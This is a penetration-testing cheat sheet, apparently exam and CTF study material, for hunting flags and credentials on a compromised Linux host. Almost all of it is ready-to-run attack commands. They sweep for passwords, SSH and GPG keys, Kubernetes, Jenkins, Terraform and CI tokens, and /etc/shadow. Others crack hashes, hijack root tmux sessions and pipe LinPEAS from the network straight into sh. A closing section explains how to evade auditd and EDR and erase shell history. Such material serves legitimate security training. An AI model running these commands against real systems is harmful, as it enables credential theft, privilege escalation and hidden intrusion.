CRED^:Password Attacks

Linux Credential & Flag Hunting

Find flags, passwords, keys and secrets on Linux: find/grep recipes, history files, config secrets, SSH keys and automated tools.

intermediateupdated 2026-09-25find · grep · LinPEAS · LaZagne

Linux Credential & Flag Hunting

Post-compromise searching on Linux: locate proof flags, then sweep for passwords, keys, and secrets that enable lateral movement or privilege escalation.

Golden rule — append 2>/dev/null to every recursive find/grep from / so permission-denied noise does not bury real hits.


Phase 1 — Flag Hunting

# The usual CTF / exam proof files, anywhere on disk
find / -type f \( -iname 'user.txt' -o -iname 'root.txt' -o -iname 'proof.txt' -o -iname 'flag*.txt' \) 2>/dev/null

# Common fixed locations
cat /home/*/user.txt 2>/dev/null
cat /root/root.txt 2>/dev/null

# Anything that looks like a hash-style flag inside files (HTB/THM style)
grep -rlE '[A-Fa-f0-9]{32}' /home /root 2>/dev/null

# Flag left in an unusual name/extension
find / -type f -iname '*flag*' 2>/dev/null

Phase 2 — The find Cheat Card

# By name (case-insensitive), suppress errors
find / -iname 'id_rsa' 2>/dev/null

# By multiple extensions
find / -type f \( -name '*.conf' -o -name '*.config' -o -name '*.cnf' \) 2>/dev/null

# Files modified in the last day (fresh loot after a deploy)
find / -type f -mmin -60 2>/dev/null            # last 60 minutes
find / -type f -newermt '2026-09-01' 2>/dev/null # since a date

# World-writable files and dirs (tampering / privesc)
find / -type f -perm -o+w 2>/dev/null
find / -writable -type d 2>/dev/null

# SUID / SGID binaries (privesc paths — cross-check GTFOBins)
find / -perm -4000 -type f 2>/dev/null           # SUID
find / -perm -2000 -type f 2>/dev/null           # SGID

# Files owned by a specific user
find / -user root -type f -perm -o+r 2>/dev/null

# Files with capabilities (modern privesc vector)
getcap -r / 2>/dev/null

Phase 3 — Grep for Secrets

# Recursive, case-insensitive, show filename + line
grep -rniE 'password|passwd|pwd|secret|api[_-]?key|token' /etc /opt /var/www /home 2>/dev/null

# Assignment patterns only (cuts false positives)
grep -rniE '(pass(word)?|secret|token)\s*[=:]\s*\S+' /var/www /opt 2>/dev/null

# Search only useful file types across a web root
grep -rniE 'password|secret' /var/www --include='*.php' --include='*.env' --include='*.yml' --include='*.ini' 2>/dev/null

# ripgrep is far faster if present
rg -i --no-ignore -e 'password' -e 'secret' -e 'api_key' /var/www /opt 2>/dev/null

Phase 4 — High-Value File Locations

Credential & config files

# Shell / app history — often holds passwords typed on the CLI
cat ~/.bash_history ~/.zsh_history 2>/dev/null
cat ~/.mysql_history ~/.psql_history ~/.python_history 2>/dev/null
find / \( -name '.*_history' -o -name '.bash_history' \) 2>/dev/null

# Credentials cached by common tools
cat ~/.netrc ~/.git-credentials 2>/dev/null      # plaintext creds
cat ~/.aws/credentials ~/.config/gcloud/*.json 2>/dev/null
cat ~/.docker/config.json 2>/dev/null             # base64 registry auth
find / -name '*.kdbx' 2>/dev/null                 # KeePass databases

# Web app secrets
find / \( -name 'wp-config.php' -o -name '.env' -o -name 'config.php' \
  -o -name 'settings.py' -o -name 'database.yml' -o -name 'application.properties' \) 2>/dev/null

# Backups frequently contain old-but-valid secrets
find / -type f \( -name '*.bak' -o -name '*.old' -o -name '*.save' -o -name '*.orig' -o -name '*~' \) 2>/dev/null

SSH keys

# Private keys, authorized_keys, known_hosts (lateral movement)
find / \( -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' -o -name '*.pem' \) 2>/dev/null
find / -name 'authorized_keys' -o -name 'known_hosts' 2>/dev/null
# Recognise a private key by content, not just name
grep -rl 'PRIVATE KEY' /home /root /etc /opt 2>/dev/null

System credential stores

cat /etc/passwd                                   # users / shells / home dirs
cat /etc/shadow 2>/dev/null                       # password hashes (root only)
# Unshadow for cracking:  unshadow passwd shadow > hashes.txt  then hashcat -m 1800
cat /etc/sudoers /etc/sudoers.d/* 2>/dev/null     # sudo rules → privesc
cat /etc/crontab; ls -la /etc/cron.* /var/spool/cron/ 2>/dev/null  # scheduled jobs

GPG keyrings & gpg-agent

# Keyring + private key material
ls -la ~/.gnupg/ 2>/dev/null                 # pubring.kbx, trustdb.gpg, private-keys-v1.d/
find / \( -name 'secring.gpg' -o -name 'pubring.kbx' -o -name '*.gpg' -o -name '*.asc' \) 2>/dev/null

# What secret keys exist locally
gpg --list-secret-keys

# gpg-agent may still hold the passphrase — try decrypting loot directly
gpg --decrypt /path/to/secret.gpg 2>/dev/null
# ...or export the private key if the agent/passphrase lets you, then crack it offline
gpg --export-secret-keys -a > /tmp/secret.asc 2>/dev/null
gpg2john /tmp/secret.asc > gpg.hash && john gpg.hash

Tip — a ~/.password-store/ (pass) tree plus a cached gpg-agent passphrase turns every *.gpg under it into cleartext with pass show <name>.

Cloud, cluster & CI/CD secrets

Kubernetes

cat ~/.kube/config "$KUBECONFIG" /etc/kubernetes/admin.conf 2>/dev/null
find / \( -name 'admin.conf' -o -name 'kubeconfig' -o -path '*/.kube/config' \) 2>/dev/null

# In-pod service-account token (authenticates to the API as that SA)
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null   # also under /run/secrets/...
kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT \
  --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) \
  --certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  get secrets -A -o yaml

Jenkins ($JENKINS_HOME, usually /var/lib/jenkins)

cat /var/lib/jenkins/credentials.xml 2>/dev/null
cat /var/lib/jenkins/secrets/master.key /var/lib/jenkins/secrets/hudson.util.Secret 2>/dev/null
find / \( -name 'credentials.xml' -o -name 'master.key' -o -name 'hudson.util.Secret' \) 2>/dev/null
grep -rlE '<password>|apiToken|credentialId' /var/lib/jenkins/jobs /var/lib/jenkins/users 2>/dev/null

Note — decrypt the {AQAAAB...} blobs from credentials.xml via the Jenkins Script Console: println(hudson.util.Secret.decrypt("{AQAAAB...}")). Offline you need secrets/master.key + secrets/hudson.util.Secret + the blob (a jenkins-credential-decryptor does this).

Registry / VCS tokens

cat ~/.npmrc 2>/dev/null            # //registry/:_authToken=  or  _auth= (base64 user:pass)
cat ~/.pypirc 2>/dev/null            # [pypi] username / password
cat ~/.config/gh/hosts.yml 2>/dev/null   # GitHub CLI oauth_token
grep -rniE 'ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]+|glpat-[A-Za-z0-9_-]{20}' \
  /home /root /opt /var/www /etc 2>/dev/null
env | grep -iE 'GITHUB_TOKEN|GITLAB_TOKEN|NPM_TOKEN|CI_JOB_TOKEN|PYPI'

Infrastructure-as-code & config management

Ansible Vault

grep -rl 'ANSIBLE_VAULT' / 2>/dev/null              # encrypted files start $ANSIBLE_VAULT;1.1;AES256
find / \( -name '.vault_pass*' -o -name 'vault_pass*' \) 2>/dev/null
grep -rniE 'vault_password_file|vault_pass' /etc/ansible ~/.ansible.cfg ./ansible.cfg 2>/dev/null
ansible-vault view secrets.yml --vault-password-file .vault_pass   # if the pass file is on disk
ansible2john group_vars/all.yml > vault.hash && john vault.hash    # otherwise crack it

Terraform state (secrets stored in PLAINTEXT)

find / \( -name 'terraform.tfstate' -o -name '*.tfstate' -o -name '*.tfstate.backup' \) 2>/dev/null
grep -EiA2 '"(password|secret|access_key|secret_key|token|private_key)"' terraform.tfstate 2>/dev/null
find / \( -name '*.tfvars' -o -name '.terraformrc' -o -name 'credentials.tfrc.json' \) 2>/dev/null

Network & service credentials

# NetworkManager saved Wi-Fi / 802.1x (root-only, 0600)
grep -rE 'psk=|password=' /etc/NetworkManager/system-connections/ 2>/dev/null
nmcli -s -g 802-11-wireless-security.psk connection show <name> 2>/dev/null
cat /etc/wpa_supplicant/*.conf 2>/dev/null           # psk= for wpa_supplicant setups

# SNMP community strings (an RW string often = full device control)
grep -rEi 'community|rocommunity|rwcommunity|com2sec' /etc/snmp/*.conf 2>/dev/null

Mail spools, PHP sessions & backups

# Local mail — password-reset mails, cron output, app notifications
ls -la /var/mail /var/spool/mail 2>/dev/null
cat /var/mail/* /var/spool/mail/* 2>/dev/null

# PHP session files can hold auth state / plaintext values
ls -la /var/lib/php/sessions/ /var/lib/php*/sessions/ 2>/dev/null; ls -la /tmp/sess_* 2>/dev/null
grep -rliE 'pass|user|token|admin' /var/lib/php/sessions/ /tmp 2>/dev/null

# Debian backs up the account DB here — shadow.bak is a classic privesc win
ls -la /var/backups/ 2>/dev/null
cat /var/backups/shadow.bak /var/backups/passwd.bak 2>/dev/null

Tip — if /var/backups/shadow.bak is group/other-readable, unshadow /etc/passwd shadow.bak > hashes.txt then crack with hashcat -m 1800 — no root needed to read the copy.


Phase 5 — Runtime & Memory

# Environment variables of every process (secrets passed via env)
for f in /proc/*/environ; do tr '\0' '\n' < "$f" 2>/dev/null; done | grep -iE 'pass|token|key|secret' | sort -u

# Your own shell environment
env | grep -iE 'pass|token|key|secret'

# Mounted shares / fstab creds (cifs credentials= files)
cat /etc/fstab 2>/dev/null; grep -rl 'credentials=' /etc 2>/dev/null

# Command lines of running processes (passwords passed as args)
ps auxww | grep -iE 'pass|token|-p ' 2>/dev/null

Attach to a live tmux / screen session

# A detached session left by a privileged user = instant shell as them
screen -ls                                   # your own sessions
ls -la /run/screen/ /var/run/screen/ /tmp/screens/ 2>/dev/null   # other users' sockets: S-<user>
screen -x                                     # attach to a multiuser/attached screen
screen -r <pid.tty.host>                      # reattach a named session

# tmux sockets live under /tmp/tmux-<uid>/
ls -la /tmp/tmux-*/ 2>/dev/null
tmux -S /tmp/tmux-0/default ls                # list uid-0 (root) sessions if the socket is readable
tmux -S /tmp/tmux-0/default attach            # attach -> shell as that user

Warning — you can only attach to a socket you can read/write: you already run as that user, the perms are loose, or you share its group. This cashes in a session someone left exposed; it does not by itself cross a privilege boundary.

Logs & journal (creds passed as args)

# systemd journal — services and cron sometimes log full command lines
journalctl 2>/dev/null | grep -iE 'password|passwd|token|secret|key='
journalctl _COMM=sudo 2>/dev/null            # sudo usage; mistyped passwords can land in auth.log

# Classic text logs
grep -rniE 'password|passwd=|token|secret' /var/log/ 2>/dev/null

Tip — to catch a cron job or script that passes a password as an argument as it runs, watch live with pspy (Phase 6) — the cred flashes in the process args even if it never touches disk.


Phase 6 — Automated Tools

ToolCommandNotes
LinPEAScurl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | shAll-in-one privesc + secret sweep
LinEnum./LinEnum.sh -t -k passwordKeyword search mode
LaZagne./laZagne.py allDumps browser/mail/wifi/db creds
pspy./pspy64Watch cron/processes for creds passed as args
deepce./deepce.shDocker/container escape enum
unix-privesc-check./unix-privesc-check standardpentestmonkey script; flags weak perms on cred/config files
# Run linpeas without touching disk
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee linpeas.out

Quick Wins Checklist

  • sudo -l — what can you run as root?
  • ~/.bash_history and other *_history files
  • id_rsa / .pem keys → SSH to other hosts
  • .env, wp-config.php, config.php in web roots
  • /etc/shadow readable? → crack with hashcat -m 1800
  • SUID binaries → check GTFOBins
  • Cron jobs running writable scripts
  • Reused passwords across users (su / DB / service)
  • ~/.kube/config / /var/run/secrets/.../token → cluster access
  • tmux/screen socket left by root (/tmp/tmux-*, /run/screen/) → attach
  • /var/backups/shadow.bak readable? → unshadow + hashcat -m 1800
  • Jenkins credentials.xml + secrets/master.key + hudson.util.Secret
  • terraform.tfstate plaintext / Ansible Vault + .vault_pass
  • ~/.npmrc _authToken, ghp_/glpat- PATs, ~/.config/gh/hosts.yml
  • NetworkManager psk= / SNMP rwcommunity

Troubleshooting

ProblemCause & fix
find / floods the terminal with Permission deniedAn unprivileged walk hits /proc, /sys and /run. Append 2>/dev/null, and add -xdev to stay on one filesystem
find / hangs for minutesIt is walking NFS/CIFS mounts. -xdev stops it at the mount boundary, or prune explicitly: find / -path /mnt -prune -o -name '*.kdbx' -print
grep -r prints Binary file ... matches and nothing useful-a treats binaries as text (good for core dumps and memory images); -I skips them entirely when you only want config files
grep -r password / returns thousands of linesAnchor on assignment syntax instead of the bare word: grep -rEn "(password|passwd|secret|api_key)\s*[=:]\s*\S" --include=*.{conf,cfg,ini,env,yml,yaml,php,json} / 2>/dev/null
locate finds nothing that clearly existsmlocate.db is stale and updatedb needs root. Fall back to find
/proc/<pid>/environ is unreadable for other usersEither hidepid=2 is set on /proc, or the process is not yours. Both resolve after privesc — re-run the sweep as root
/etc/shadow is unreadableExpected as a normal user. Go for copies instead: /var/backups/shadow.bak, /etc/shadow-, container images, and old tarballs under /opt
Shell history files are emptyHISTFILE is unset, or the session that would flush it is still open. Check every user’s ~/.bash_history, ~/.zsh_history, ~/.python_history and ~/.mysql_history
A recovered SSH key is rejectedchmod 600 the copy — OpenSSH refuses world-readable keys. If it prompts for a passphrase, run ssh2john id_rsa > hash and crack it
sudo -l asks for a password you do not haveNot a dead end: sudo -l output is only one source. Check /etc/sudoers.d/, group membership (id), and SUID binaries directly

Detection & OPSEC

Credential hunting is loud in ways that are easy to avoid.

  • A full find / walk touches every inode and lights up auditd path rules plus any EDR with filesystem telemetry. Scope to the directories that actually pay: /home, /var/www, /opt, /etc, /srv.
  • atime updates are a forensic trail. Most modern mounts use relatime, so reads still move atime once a day. find with -noleaf does not help; if timestamps matter, prefer targeted reads over recursive greps.
  • Downloading LinPEAS to disk writes an artifact and is signatured by most AV on Linux endpoints. Pipe it into memory instead: curl -s <url> | sh, and accept that you lose the ability to re-run it offline.
  • Reading /proc/*/environ and /proc/*/cmdline at scale is a recognised credential-access pattern (MITRE T1552.001, Credentials In Files). Sysdig and Falco ship rules for it out of the box.
  • Your own commands land in history. unset HISTFILE or export HISTFILE=/dev/null before the sweep, and remember the shell writes on exit — kill -9 $$ skips the flush.
  • Leave found credentials where they are. Copying a keystore to /tmp is a far stronger signal than reading it in place, and /tmp is where defenders look first.
On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.